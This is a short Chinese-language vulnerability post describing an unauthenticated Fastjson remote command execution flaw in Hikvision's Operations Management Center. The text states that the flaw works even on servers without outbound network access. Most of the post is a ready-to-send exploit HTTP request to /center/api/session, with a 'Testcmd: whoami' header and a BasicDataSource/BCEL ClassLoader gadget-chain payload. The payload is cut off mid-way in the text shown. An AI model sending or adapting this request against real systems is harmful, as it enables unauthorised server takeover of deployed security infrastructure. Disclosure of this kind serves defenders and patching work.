海康威视运行管理中心 Fastjson RCE-编程知识

漏洞描述

海康威视运行管理中心系统存在低版本Fastjson远程命令执行漏洞，攻击者可在未鉴权情况下获取服务器权限，且由于存在相关依赖，即使服务器不出网无法远程加载恶意类也可通过本地利用链直接命令执行，从而获取服务器权限。

在这里插入图片描述

漏洞复现

POST /center/api/session HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8
Connection: close
Content-Type: application/json;charset=utf-8
Testcmd: whoami
Content-Length: 5535{ "c": {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": 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